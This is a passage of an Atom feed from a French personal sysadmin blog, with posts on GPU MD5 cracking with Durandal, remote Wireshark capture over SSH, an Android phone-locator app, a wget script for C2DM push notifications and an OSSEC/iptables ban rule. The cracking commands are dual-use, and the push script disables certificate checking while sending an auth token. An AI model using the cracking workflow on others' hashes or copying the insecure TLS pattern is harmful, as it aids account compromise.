<li class="li1">
<div class="de1">add bf md5 icivotrehashmd5</div>
</li>
</ol>
</div>
<p>agent, qui permet au client de lancer le cracking (à distance, ou en local)</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">.<span class="sy0">/</span>agent</div>
</li>
</ol>
</div>
<p>Les petits screenshots (avec le md5 mis en exemple sur le site du projet durandal) :</p>
<p>le serveur et la console d&#8217;administration :<br />
<img src="http://cdn.gaetan-grigis.eu/wp-content/uploads/2011/12/durandal-server-admin.png" alt="" title="durandal-server-admin" width="934" height="543" class="aligncenter size-full wp-image-1135" /></p>
<p>le client avec le benchmark à son lancement (sur la même machine dans mon cas), ma GTX260 n&#8217;est pas aussi bien que ce que j&#8217;espérais, mais elle à quand même deux ans ^^ :<br />
<img src="http://cdn.gaetan-grigis.eu/wp-content/uploads/2011/12/agent.png" alt="" title="agent" width="551" height="982" class="aligncenter size-full wp-image-1136" /></p>
<p>Un projet sympa à suivre &#8230;</p>
<p><strong>Ressources : </strong><br />
Durandal : http://durandal-project.org/index.html<br />
Alternative Gcc/G++ : http://askubuntu.com/questions/26498/choose-gcc-and-g-version<br />
CUDA (toolkit et SDK) : http://developer.nvidia.com/cuda-toolkit-40</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1134">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/securite/cracking-de-wpapsk-pyritcowpatty/" rel="bookmark" title="Permanent Link: Cracking de WPA/PSK (Pyrit/CowPatty)">Cracking de WPA/PSK (Pyrit/CowPatty)</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/telechargement-direct-et-linux-tucan/" rel="bookmark" title="Permanent Link: Téléchargement Direct et Linux (Tucan)">Téléchargement Direct et Linux (Tucan)</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/bt3-dans-les-bacs-les-hackeurs-vont-se-regaler/" rel="bookmark" title="Permanent Link: BT3 dans les bacs &#8230; les hackeurs vont se régaler">BT3 dans les bacs &#8230; les hackeurs vont se régaler</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/commandes-linux-sympa/" rel="bookmark" title="Permanent Link: Commandes linux sympa">Commandes linux sympa</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/exemple-de-bot-dauthentification-et-de-clic-en-php/" rel="bookmark" title="Permanent Link: Exemple de Bot d&#8217;Authentification et de clic en Php">Exemple de Bot d&#8217;Authentification et de clic en Php</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content>
		<link rel="replies" type="text/html" href="http://blog.gaetan-grigis.eu/securite/cracking-de-pass-via-gpu-cuda-avec-durandal-md5-sha/#comments" thr:count="0" />
		<link rel="replies" type="application/atom+xml" href="http://blog.gaetan-grigis.eu/securite/cracking-de-pass-via-gpu-cuda-avec-durandal-md5-sha/feed/atom/" thr:count="0" />
		<thr:total>0</thr:total>
	<feedburner:origLink>http://blog.gaetan-grigis.eu/securite/cracking-de-pass-via-gpu-cuda-avec-durandal-md5-sha/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Gaëtan</name>
						<uri>http://www.gaetan-grigis.eu</uri>
					</author>
		<title type="html"><![CDATA[Wireshark en remote via un tube nommé]]></title>
		<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/LeBlogDuGrandLoupZeur/~3/fJWGVfW7aB0/" />
		<id>http://blog.gaetan-grigis.eu/?p=1130</id>
		<updated>2011-12-12T12:24:30Z</updated>
		<published>2011-12-12T12:24:30Z</published>
		<category scheme="http://blog.gaetan-grigis.eu" term="Non classé" />		<summary type="html"><![CDATA[Plop &#8230; Je viens de découvrir l&#8217;utilisation des tubes pour utiliser wireshark en &#171;&#160;remote&#160;&#187;, en balançant du tcpdump à distance dans le tube lu sur la machine locale par wireshark (en résumé ). La manipulation est très simple et est à effectuer sur la machine locale : mkfifo /tmp/wirepipe ssh root@10.75.25.1 &#34;tcpdump -s 65535 port [...]]]></summary>
		<content type="html" xml:base="http://blog.gaetan-grigis.eu/non-classe/wireshark-en-remote-via-un-tube-nomme/"><![CDATA[<p>Plop &#8230;</p>
<p>Je viens de découvrir l&#8217;utilisation des tubes pour utiliser wireshark en &laquo;&nbsp;remote&nbsp;&raquo;, en balançant du tcpdump à distance dans le tube lu sur la machine locale par wireshark (en résumé <img src='http://cdn.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ).<br />
<span id="more-1130"></span></p>
<p>La manipulation est très simple et est à effectuer sur la machine locale :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">mkfifo</span> <span class="sy0">/</span>tmp<span class="sy0">/</span>wirepipe</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">ssh</span> root<span class="sy0">@</span><span class="nu0">10.75</span><span class="nu0">.25</span><span class="nu0">.1</span> <span class="st0">&quot;tcpdump -s 65535 port 80 -w -&quot;</span> <span class="sy0">&gt;</span> <span class="sy0">/</span>tmp<span class="sy0">/</span>wirepipe</div>
</li>
</ol>
</div>
<p>Explication :<br />
On créer un tube nommé wirepipe<br />
On ouvre une session root sur la machine 10.75.25.1 et on lance un tcpdump qui sniff le port 80 (de 10.75.25.1) et renvoi le tout à la sortie standard qui est renvoyé au tube.</p>
<p>Dans un autre terminal, on lance Wireshark :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">wireshark -k -i <span class="sy0">/</span>tmp<span class="sy0">/</span>wirepipe</div>
</li>
</ol>
</div>
<p>Et voilà, tout ce qui passe dans le tube est lue par wireshark en temps réel (plutôt sympa pour décoder des trams sur des serveurs en <del datetime="2011-12-12T11:31:28+00:00">prod</del> debug), et beaucoup plus simple que de faire du tcpdump, puis de télécharger le dump et le lire avec wireshark en local, et c&#8217;est plus secure que de faire sniffer directement wireshark sur le réseau.</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1130">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/systeme/detournement-de-donnees/" rel="bookmark" title="Permanent Link: Détournement de données ^^.">Détournement de données ^^.</a></li><li><a href="http://blog.gaetan-grigis.eu/securite/souhaiter-de-joyeuses-fetes-en-piratant-les-dns-de-sa-boite/" rel="bookmark" title="Permanent Link: Souhaiter de joyeuses fêtes en piratant ses DNS ^^.">Souhaiter de joyeuses fêtes en piratant ses DNS ^^.</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/utiliser-git-pour-gerer-ses-projets-mini-memo/" rel="bookmark" title="Permanent Link: Utiliser Git pour gérer ses projets (mini mémo)">Utiliser Git pour gérer ses projets (mini mémo)</a></li><li><a href="http://blog.gaetan-grigis.eu/securite/backtrack-4-passe-en-pre-final/" rel="bookmark" title="Permanent Link: BackTrack 4 passe en pre-final &#8230;">BackTrack 4 passe en pre-final &#8230;</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/creer-un-paquet-pour-les-ppa/" rel="bookmark" title="Permanent Link: Créer un paquet pour les ppa">Créer un paquet pour les ppa</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content>
		<link rel="replies" type="text/html" href="http://blog.gaetan-grigis.eu/non-classe/wireshark-en-remote-via-un-tube-nomme/#comments" thr:count="0" />
		<link rel="replies" type="application/atom+xml" href="http://blog.gaetan-grigis.eu/non-classe/wireshark-en-remote-via-un-tube-nomme/feed/atom/" thr:count="0" />
		<thr:total>0</thr:total>
	<feedburner:origLink>http://blog.gaetan-grigis.eu/non-classe/wireshark-en-remote-via-un-tube-nomme/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Gaëtan</name>
						<uri>http://www.gaetan-grigis.eu</uri>
					</author>
		<title type="html"><![CDATA[[Android] application de contrôle à distance/backup/info]]></title>
		<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/LeBlogDuGrandLoupZeur/~3/MMXwWlyd6cM/" />
		<id>http://blog.gaetan-grigis.eu/?p=1120</id>
		<updated>2011-08-14T17:23:41Z</updated>
		<published>2011-08-14T17:23:41Z</published>
		<category scheme="http://blog.gaetan-grigis.eu" term="android" /><category scheme="http://blog.gaetan-grigis.eu" term="..." /><category scheme="http://blog.gaetan-grigis.eu" term="perte" /><category scheme="http://blog.gaetan-grigis.eu" term="récupération" /><category scheme="http://blog.gaetan-grigis.eu" term="remote" /><category scheme="http://blog.gaetan-grigis.eu" term="vol" />		<summary type="html"><![CDATA[plop à tous &#8230; Encore une appli inutile que je ne vais probablement pas terminer ^^, mais qui m&#8217;a permis d&#8217;apprendre pas mal de trucs sur android et gwt (notamment le fameux C2DM). Le but de l&#8217;appli est très simple, on a oublié où l&#8217;on a mis son téléphone ? on se l&#8217;est fait voler [...]]]></summary>
		<content type="html" xml:base="http://blog.gaetan-grigis.eu/android/android-application-de-controle-a-distancebackupinfo/"><![CDATA[<p>plop à tous &#8230;</p>
<p>Encore une appli inutile que je ne vais probablement pas terminer ^^, mais qui m&#8217;a permis d&#8217;apprendre pas mal de trucs sur android et gwt (notamment le fameux <a href="http://blog.gaetan-grigis.eu/systeme/android-c2dm-notification-push-en-bash-avec-wget/">C2DM</a>).</p>
<p>Le but de l&#8217;appli est très simple, on a oublié où l&#8217;on a mis son téléphone ? on se l&#8217;est fait voler ?<br />
Grâce aux notifications C2DM, on peux envoyer des messages au téléphone pour obtenir sa position, le faire sonner, &#8230; sans avoir de tâche de fond dédiée qui bouffe de la batterie ou qui aurait pu se faire killer par le système de gestion de mémoire.</p>
<p><strong>[Aparté sur la sécurité]</strong> Le petit bémol du C2DM, c&#8217;est que si votre téléphone n&#8217;est pas verrouillé (code, schéma, &#8230;) et qu&#8217;une personne supprime l&#8217;application ou supprime vos comptes google, l&#8217;application ne fonctionnera plus &#8230; et ne permettra plus d&#8217;être tracé donc ^^. (d&#8217;un autre côté, c&#8217;est aussi le cas de la plupart des applications &#8230;)</p>
<p><span id="more-1120"></span></p>
<p>Pour le moment seule l&#8217;architecture de base est en place :</p>
<ul>
<li>Côté site web (<a href="https://github.com/cipher16/RCBackUpAndWipeWeb">github</a>) :
<ul>
<li>Authentification</li>
<li>Envoi de notifications</li>
<li>Stockage des données</li>
<li>Affichage des informations (à perfectionner)</li>
<li>A faire : Utilisation d&#8217;un fwk d&#8217;event pour afficher l&#8217;info directement à sa reception</li>
<li>A faire : Gestion des messages d&#8217;erreur</li>
<li>A faire : Info sur l&#8217;utilisations</li>
<li>A faire : Ergo/Charte graphique</li>
</ul>
</li>
<li>Côté application android (<a href="https://github.com/cipher16/RCBackUpAndWipe">github</a>) :
<ul>
<li>Authentification</li>
<li>Réception des notification</li>
<li>Envoi des données (GPS (perfectible &#8230;), Statut)</li>
<li>Exécution d&#8217;action (sonnerie seulement pour le moment)</li>
<li>A faire : Ergo/Info/Licence/Contrat, &#8230;</li>
</ul>
</li>
</ul>
<p>Un screen du site :<br />
<a href="http://cdn.gaetan-grigis.eu/wp-content/uploads/2011/08/rcbu.png"><img src="http://cdn.gaetan-grigis.eu/wp-content/uploads/2011/08/rcbu.png" alt="" title="rcbu" width="758" height="466" class="aligncenter size-full wp-image-1122" /></a></p>
<p>L&#8217;application (dispo <a href="https://github.com/cipher16/RCBackUpAndWipe/raw/master/bin/RCBackupAndWipe.apk">ici</a>)</p>
<p><a href="http://cdn.gaetan-grigis.eu/wp-content/uploads/2011/08/rcbu-android.png"><img src="http://cdn.gaetan-grigis.eu/wp-content/uploads/2011/08/rcbu-android.png" alt="" title="rcbu-android" width="324" height="458" class="aligncenter size-full wp-image-1124" /></a></p>
<p>Pour <del datetime="2011-08-14T16:47:15+00:00">l&#8217;utiliser</del> la tester et la synchroniser, il faut sélectionner le &laquo;&nbsp;Mail Account&nbsp;&raquo; avec lequel on veut s&#8217;authentifier sur le site : <a href="https://rcbuandroid.appspot.com">rcbuweb</a> puis sélectionner les infos que l&#8217;on veut (l&#8217;info peut mettre plusieurs secondes avant d&#8217;être récupérée).</p>
<p>Au premier clic on envoi la notif, au deuxieme on l&#8217;affiche (faut que je trouve un système de push gwt client/serveur pour faire ça proprement).</p>
<p>L&#8217;appli est en développement pour le moment, mais ça fonctionne déjà pas trop mal (à part le mode GPS satellite (autant rester en network) &#8230; car une fois activé, il ne s&#8217;éteint plus et bouffe de la batterie pour rien ;s).</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1120">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/programmation/java/application-android-pour-les-horaires-de-trambus-grenoblois-tagsemitag/" rel="bookmark" title="Permanent Link: Application android pour les horaires de tram/bus grenoblois (Tag/SemiTag)">Application android pour les horaires de tram/bus grenoblois (Tag/SemiTag)</a></li><li><a href="http://blog.gaetan-grigis.eu/android/application-android-pour-le-telechargement-des-versions-de-cyanogen/" rel="bookmark" title="Permanent Link: Application android pour le téléchargement des versions de Cyanogen">Application android pour le téléchargement des versions de Cyanogen</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/mon-application-android-pour-les-horaires-de-la-cts/" rel="bookmark" title="Permanent Link: Mon Application Android pour les horaires de la CTS">Mon Application Android pour les horaires de la CTS</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/android-c2dm-notification-push-en-bash-avec-wget/" rel="bookmark" title="Permanent Link: Android C2DM Notification push en bash avec wget">Android C2DM Notification push en bash avec wget</a></li><li><a href="http://blog.gaetan-grigis.eu/non-classe/un-peu-davancement-dans-lapplication-android-de-la-cts/" rel="bookmark" title="Permanent Link: Un peu d&#8217;avancement dans l&#8217;application Android de la CTS &#8230;">Un peu d&#8217;avancement dans l&#8217;application Android de la CTS &#8230;</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content>
		<link rel="replies" type="text/html" href="http://blog.gaetan-grigis.eu/android/android-application-de-controle-a-distancebackupinfo/#comments" thr:count="2" />
		<link rel="replies" type="application/atom+xml" href="http://blog.gaetan-grigis.eu/android/android-application-de-controle-a-distancebackupinfo/feed/atom/" thr:count="2" />
		<thr:total>2</thr:total>
	<feedburner:origLink>http://blog.gaetan-grigis.eu/android/android-application-de-controle-a-distancebackupinfo/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Gaëtan</name>
						<uri>http://www.gaetan-grigis.eu</uri>
					</author>
		<title type="html"><![CDATA[Android C2DM Notification push en bash avec wget]]></title>
		<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/LeBlogDuGrandLoupZeur/~3/5UdK6QSy8B0/" />
		<id>http://blog.gaetan-grigis.eu/?p=1116</id>
		<updated>2011-07-27T14:27:13Z</updated>
		<published>2011-07-27T18:00:10Z</published>
		<category scheme="http://blog.gaetan-grigis.eu" term="android" /><category scheme="http://blog.gaetan-grigis.eu" term="Système" /><category scheme="http://blog.gaetan-grigis.eu" term="authentification" /><category scheme="http://blog.gaetan-grigis.eu" term="bash" /><category scheme="http://blog.gaetan-grigis.eu" term="c2dm" /><category scheme="http://blog.gaetan-grigis.eu" term="google" /><category scheme="http://blog.gaetan-grigis.eu" term="wget" />		<summary type="html"><![CDATA[plop à tous &#8230; encore un article &#171;&#160;borderline&#160;&#187; et completement useless &#8230; Cette fois pour tester les notifications C2DM (cloud to device messaging), l&#8217;équivalent Android des push iphone en un peu plus complexe nécessité d&#8217;avoir un compte google devant s&#8217;authentifier pour ensuite envoyer un message par device_id (le device id pouvant expirer, tout comme l&#8217;authentification), [...]]]></summary>
		<content type="html" xml:base="http://blog.gaetan-grigis.eu/systeme/android-c2dm-notification-push-en-bash-avec-wget/"><![CDATA[<p>plop à tous &#8230; encore un article &laquo;&nbsp;borderline&nbsp;&raquo; et completement useless &#8230;</p>
<p>Cette fois pour tester les notifications C2DM (<a href="http://code.google.com/intl/fr/android/c2dm/">cloud to device messaging</a>), l&#8217;équivalent Android des push iphone en un peu plus complexe nécessité d&#8217;avoir un compte google devant s&#8217;authentifier pour ensuite envoyer un message par device_id (le device id pouvant expirer, tout comme l&#8217;authentification), pour les push iphone il suffisait d&#8217;avoir les tokens et basta ^^).</p>
<p>Mais au final le système répond plutôt rapidement, cela dit, en suivant de nombreux tuto sur le developement d&#8217;application utilisant C2DM (ici un premier <a href="http://www.vogella.de/articles/AndroidCloudToDeviceMessaging/article.html">tuto complet</a> et ici un second tuto <a href="http://blog.octo.com/notifications-push-android-c2dm/">assez complet et intéressant</a>).</p>
<p>Le problème c&#8217;est que pour tester le C2DM, la méthode nécessitant une authentification, et l&#8217;utilisation d&#8217;un header spé, pour tester l&#8217;envoi de notifications, certains recommendent de créer une seconde appli android pour envoyer les push, ou bien encore d&#8217;utiliser curl pour les requêtes, un outil qui n&#8217;est jamais installé de base sur une machine (la plupart des sytèmes unix intégrant wget, pourquoi utiliser curl?).</p>
<p>Donc pour le fun, voici ma version wgeté (j&#8217;ai découvert l&#8217;usage des headers sur wget) :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="co0">#!/bin/bash</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#91;</span> <span class="re4">$#</span> <span class="sy0">!</span>= <span class="nu0">3</span> <span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">then</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Usage : $0 &#39;mail&#39; &#39;reg_id&#39; &#39;message&#39;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">exit</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">fi</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re2">email=</span><span class="st0">&quot;$1&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re2">registration_id=</span><span class="st0">&quot;$2&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re2">message=</span><span class="st0">&quot;$3&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re2">post_data=</span><span class="st0">&quot;registration_id=$registration_id&amp;data.message=$message&amp;collapse_key=0&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#91;</span> <span class="sy0">!</span> -f <span class="sy0">/</span>tmp<span class="sy0">/</span>ClientLogin <span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">then</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">read</span> -p <span class="st0">&quot;Password : &quot;</span> -e password</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">wget</span> <span class="st0">&quot;https://www.google.com/accounts/ClientLogin&quot;</span> &#8211;post-<span class="re2">data=</span><span class="st0">&quot;Email=$email&amp;Passwd=$password&amp;accountType=GOOGLE&amp;service=ac2dm&quot;</span> -qO- <span class="sy0">&gt;</span> <span class="sy0">/</span>tmp<span class="sy0">/</span>ClientLogin</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">fi</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re2">auth=</span>`<span class="kw2">cat</span> <span class="sy0">/</span>tmp<span class="sy0">/</span>ClientLogin<span class="sy0">|</span>grep <span class="st0">&quot;Auth&quot;</span><span class="sy0">|</span>awk <span class="st0">&#39;{split($0,array,&quot;Auth=&quot;); print array[2]}&#39;</span>`</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">wget</span> <span class="st0">&quot;https://android.apis.google.com/c2dm/send&quot;</span> &#8211;<span class="re2">header=</span><span class="st0">&quot;Authorization: GoogleLogin auth=$auth&quot;</span> &#8211;post-<span class="re2">data=</span><span class="st0">&quot;$post_data&quot;</span> &#8211;no-check-certificate -qO-</div>
</li>
</ol>
</div>
<p>Si le script ne renvoit rien, c&#8217;est bon, si il répond par un Error=UnMessageDerreur, c&#8217;est pas bon, bon dev <img src='http://cdn.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1116">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/android/android-application-de-controle-a-distancebackupinfo/" rel="bookmark" title="Permanent Link: [Android] application de contrôle à distance/backup/info">[Android] application de contrôle à distance/backup/info</a></li><li><a href="http://blog.gaetan-grigis.eu/mes-applicationsscripts/" rel="bookmark" title="Permanent Link: Mes Applications/Scripts">Mes Applications/Scripts</a></li><li><a href="http://blog.gaetan-grigis.eu/android/application-android-pour-le-telechargement-des-versions-de-cyanogen/" rel="bookmark" title="Permanent Link: Application android pour le téléchargement des versions de Cyanogen">Application android pour le téléchargement des versions de Cyanogen</a></li><li><a href="http://blog.gaetan-grigis.eu/android/compiler-cyanogen-android-froyo-sur-ubuntu/" rel="bookmark" title="Permanent Link: Compiler Cyanogen (android froyo) sur Ubuntu">Compiler Cyanogen (android froyo) sur Ubuntu</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/gresillement-du-driver-em28xx-et-kernel-2-6-28-sur-ubuntu-9-04/" rel="bookmark" title="Permanent Link: Grésillement du driver em28xx et kernel 2.6.28 sur ubuntu 9.04">Grésillement du driver em28xx et kernel 2.6.28 sur ubuntu 9.04</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content>
		<link rel="replies" type="text/html" href="http://blog.gaetan-grigis.eu/systeme/android-c2dm-notification-push-en-bash-avec-wget/#comments" thr:count="1" />
		<link rel="replies" type="application/atom+xml" href="http://blog.gaetan-grigis.eu/systeme/android-c2dm-notification-push-en-bash-avec-wget/feed/atom/" thr:count="1" />
		<thr:total>1</thr:total>
	<feedburner:origLink>http://blog.gaetan-grigis.eu/systeme/android-c2dm-notification-push-en-bash-avec-wget/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Gaëtan</name>
						<uri>http://www.gaetan-grigis.eu</uri>
					</author>
		<title type="html"><![CDATA[Ossec et Iptables : ban à durée variable]]></title>
		<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/LeBlogDuGrandLoupZeur/~3/GE6WXFwq_4k/" />
		<id>http://blog.gaetan-grigis.eu/?p=1111</id>
		<updated>2011-07-22T10:16:24Z</updated>
		<published>2011-07-22T10:15:46Z</published>
		<category scheme="http://blog.gaetan-grigis.eu" term="Non classé" /><category scheme="http://blog.gaetan-grigis.eu" term="ban" /><category scheme="http://blog.gaetan-grigis.eu" term="drop" /><category scheme="http://blog.gaetan-grigis.eu" term="iptables" /><category scheme="http://blog.gaetan-grigis.eu" term="ossec" /><category scheme="http://blog.gaetan-grigis.eu" term="recent" />		<summary type="html"><![CDATA[Plop à tous &#8230; Encore de l&#8217;ossec et de l&#8217;iptables au menu, ici le but est de faire face aux crackers et autres kiddies sans se faire spammer de mails toutes les 6 minutes parce qu&#8217;un mec s&#8217;est planté 3 fois de suite de mot de passe sur SSH (un mec a tenté pendant deux [...]]]></summary>
		<content type="html" xml:base="http://blog.gaetan-grigis.eu/non-classe/ossec-et-iptables-ban-a-duree-variable/"><![CDATA[<p>Plop à tous &#8230;<br />
Encore de l&#8217;ossec et de l&#8217;iptables au menu, ici le but est de faire face aux crackers et autres kiddies sans se faire spammer de mails toutes les 6 minutes parce qu&#8217;un mec s&#8217;est planté 3 fois de suite de mot de passe sur SSH (un mec a tenté pendant deux jours de cracker mon ssh, résultat : une bonne centaines de mails d&#8217;alertes inutiles (le temps que je lui mettent un ban définitif)).<br />
<span id="more-1111"></span><br />
L&#8217;idée est simple, on crée une règle iptables qui drop les paquets reçu avec un timer, et à chaque nouveau paquet, on reset le timer. Ensuite toute les alertes d&#8217;ossec sont envoyées sur cette règle et l&#8217;ont est plus spammé!!</p>
<p>La règle iptables :</p>
<div class="geshi no iptables">
<ol>
<li class="li1">
<div class="de1">##Kiddies
</div>
</li>
<li class="li1">
<div class="de1">/sbin/iptables -N KIDDIES
</div>
</li>
<li class="li1">
<div class="de1">/sbin/iptables -A KIDDIES -m recent &#8211;set &#8211;name kiddies
</div>
</li>
<li class="li1">
<div class="de1">/sbin/iptables -A INPUT -m recent &#8211;name kiddies &#8211;update &#8211;seconds 360 -j DROP</div>
</li>
</ol>
</div>
<p>Puis on modifie le fichier d&#8217;active-response/bin/firewall-drop.sh d&#8217;ossec en remplaçant les DROP par des KIDDIES (de la ligne 55 à la 61 pour la dernière version).</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="nu0">55</span> &nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#91;</span> <span class="st0">&quot;x${ACTION}&quot;</span> = <span class="st0">&quot;xadd&quot;</span> <span class="br0">&#93;</span>; <span class="kw1">then</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="nu0">56</span> &nbsp; &nbsp; &nbsp; <span class="re2">ARG1=</span><span class="st0">&quot;-I INPUT -s ${IP} -j KIDDIES&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="nu0">57</span> &nbsp; &nbsp; &nbsp; <span class="re2">ARG2=</span><span class="st0">&quot;-I FORWARD -s ${IP} -j KIDDIES&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="nu0">58</span> &nbsp; &nbsp;<span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="nu0">59</span> &nbsp; &nbsp; &nbsp; <span class="re2">ARG1=</span><span class="st0">&quot;-D INPUT -s ${IP} -j KIDDIES&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="nu0">60</span> &nbsp; &nbsp; &nbsp; <span class="re2">ARG2=</span><span class="st0">&quot;-D FORWARD -s ${IP} -j KIDDIES&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="nu0">61</span> &nbsp; &nbsp;<span class="kw1">fi</span></div>
</li>
</ol>
</div>
<p>Ainsi, par défaut (dans ossec/etc/ossec.conf), la durée de ban de base est de 6 minutes et pour chaque paquet reçu, on drop encore les paquets pour 5 minutes (ce qui peut aller bien loin si le mec laisse tourner son script).</p>
<p>Par contre, avec un </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">iptables -L -v -n</div>
</li>
</ol>
</div>
<p>on ne saura pas si une ip est encore droppée après les 6 minutes de ban Ossec (puisque la règle est supprimée au bout des 6 minutes) car même si la règle n&#8217;existe plus, si l&#8217;ip possède encore le tag kiddies avec un timer les paquets continueront d&#8217;être drop, il faut alors lister les ip avec la commande suivante :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">cat</span> <span class="sy0">/</span>proc<span class="sy0">/</span>net<span class="sy0">/</span>xt_recent<span class="sy0">/</span>kiddies <span class="sy0">|</span>awk <span class="st0">&#39;{ print $1&quot; &quot;$4&quot; &quot;$5&quot; &quot;$6&quot; &quot;$7 }&#39;</span></div>
</li>
</ol>
</div>
<p>Par contre, je ne sais pas si l&#8217;on peut supprimer le timer à la main &#8230;</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1111">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/systeme/protection-ddos-et-ban-de-masse/" rel="bookmark" title="Permanent Link: Protection DDos et ban de masse">Protection DDos et ban de masse</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/tentative-de-hack-quand-les-kikoolols-attaquent/" rel="bookmark" title="Permanent Link: Tentative de Hack &#8230; quand les kikoolols attaquent!!!">Tentative de Hack &#8230; quand les kikoolols attaquent!!!</a></li><li><a href="http://blog.gaetan-grigis.eu/python-2/alerte-dossec-en-notification-sur-le-bureau/" rel="bookmark" title="Permanent Link: Alerte d&#8217;ossec en notification sur le bureau">Alerte d&#8217;ossec en notification sur le bureau</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/securiser-un-blog-wordpress-par-un-ips-avec-wpsyslog2-et-ossec/" rel="bookmark" title="Permanent Link: Sécuriser un blog WordPress par un IPS avec wpsyslog2 et ossec">Sécuriser un blog WordPress par un IPS avec wpsyslog2 et ossec</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/perl/notification-ossec-sur-twitter-en-perl/" rel="bookmark" title="Permanent Link: Notification Ossec sur 